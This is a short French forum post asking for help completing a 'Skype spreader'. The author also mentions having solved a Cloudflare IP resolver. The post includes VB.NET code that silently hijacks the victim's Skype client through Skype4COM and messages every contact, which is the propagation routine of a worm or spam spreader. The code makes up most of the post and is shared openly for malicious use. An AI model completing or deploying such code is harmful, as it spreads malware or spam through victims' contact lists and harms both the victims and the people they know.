Salut a tous vu que j'ai trouver comment faire pour le "cloud Flare Ip resolver" je m'attaque donc a un Skype spreader voila ce que m'on pote ma donner comme code mais il a du oublier du code.
Merci de m'aider
Bonne soirée a tous!
Code:
Public Shared Sub skype(ByRef Message As String)
On Error Resume Next
Dim skype As Object
skype = CreateObject("Skype4COM.skype", "")
skype.client.start()
skype.attach()
For Each user In skype.friends
skype.sendmessage(user.handle, Message)
Next
End Sub
Merci de m'aider
Bonne soirée a tous!